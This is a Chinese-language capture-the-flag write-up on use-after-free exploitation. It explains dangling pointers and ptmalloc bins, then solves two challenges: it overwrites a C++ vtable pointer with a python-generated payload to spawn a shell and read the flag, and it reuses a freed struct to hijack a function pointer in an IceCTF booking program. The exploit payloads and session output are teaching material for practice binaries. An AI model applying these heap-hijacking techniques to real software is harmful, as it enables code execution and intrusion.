分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。然后大家就可以利用这个指针做坏事了。记这个指针为迷途指针。
(引自http://www.freebuf.com/vuls/95708.html)
1. 先搞出来一个迷途指针。
2. 用精心构造的数据填充被释放的内存区域。
3. 再次使用该指针,让填充的数据使EIP发生跳转。
ptmalloc就是c语言的malloc在linux平台上的实现。下面统称为malloc。
ptmalloc的基本思路是将堆上的内存区域划分为多个chunk,在分配/回收内存时,对chunk进行分割、回收等操作。
malloc维护了一系列链表用于内存的分配和回收,这些链表被成为”bins”,chunk作为链表上的节点存在。
根据bin所包含chunk的大小,可以将bin分为fastbin(小于等于64字节), unsorted bin, small bin, large bin。每个bin链表中的chunk都有相同或将近的大小。
所以我们利用uaf的时候要注意这些条件。
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
源代码很好理解,这里再补充点c++虚函数有关的知识
根据源代码可以画出这张图:
整个代码的逻辑源代码已经讲得很清楚了
但是细节还是要IDA来
Human *v13; Human *v14;
所以上图黄色部分就是调用man和woman的introduce函数,这是一个很重要的点。
现在明确一下思路:
解决细节问题:
就剩下寻找v13的虚表指针了
ctrl+e可以看到有vtable for man,这就是man这个类的虚函数表
我们在gdb中跟踪一下,发现0000000000401570确实是giveshell的函数指针,这里确认ida的分析是对的。
现在我们已经知道*v13的值了只需要把它减8就可以了
uaf@ubuntu:~$ python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'+'A'*16" > /
tmp/ss
uaf@ubuntu:~$ ./uaf 24 /tmp/ss
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ ls
flag uaf uaf.cpp
$ cat flag
yay_f1ag_aft3r_pwning
$
直接IDA的F5
再看book_sutie函数和book_room函数:
根据上面那两个函数我们可以分析得到suite和room的结构,这是本题的关键
struct suite{
void* print_name; //这是一个函数指针,根据第二张图的第12行
char name[256];
int number;
}
struct room{
int number;
char* name[256];
}
delete_booking函数是free所有的malloc
而print_booking函数调用了suite的print_name函数,如图第10行
那么思路是,先free一个suite实例,再malloc一个room实例,264字节和260字节相差不多, 所以可触发uaf漏洞。利用两个结构体的差异,改写suite的print_name地址为flag函数的地址就可以
1. Book a suite
2. Book a room
3. Delete booking
4. Print booking
5. Quit
$$$ 1
Name: 2
Suite number: 3
Booked a suite!
1. Book a suite
2. Book a room
3. Delete booking
4. Print booking
5. Quit
$$$ 3
Suite booking deleted!
1. Book a suite
2. Book a room
3. Delete booking
4. Print booking
5. Quit
$$$ 2
Name: 1337
Room number: 134514237
Booked a room!
1. Book a suite
2. Book a room
3. Delete booking
4. Print booking
5. Quit
$$$ 4
IceCTF{they_can_take_our_overflows_but_they_will_never_take_our_use_after_freeeedom!}
��S������ORooms number: 134905
Name: 1337
Rooms number: 134514237
1. Book a suite
2. Book a room
3. Delete booking
4. Print booking
5. Quit
$$$